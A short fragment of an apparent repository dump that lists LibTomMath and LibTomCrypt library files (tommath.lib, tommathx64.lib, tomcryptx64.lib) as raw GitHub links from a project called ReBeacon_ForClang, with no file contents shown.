https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/tomcryptx64.lib
--------------------------------------------------------------------------------
/tommath.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/tommath.lib
--------------------------------------------------------------------------------
/tommathx64.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/tommathx64.lib
--------------------------------------------------------------------------------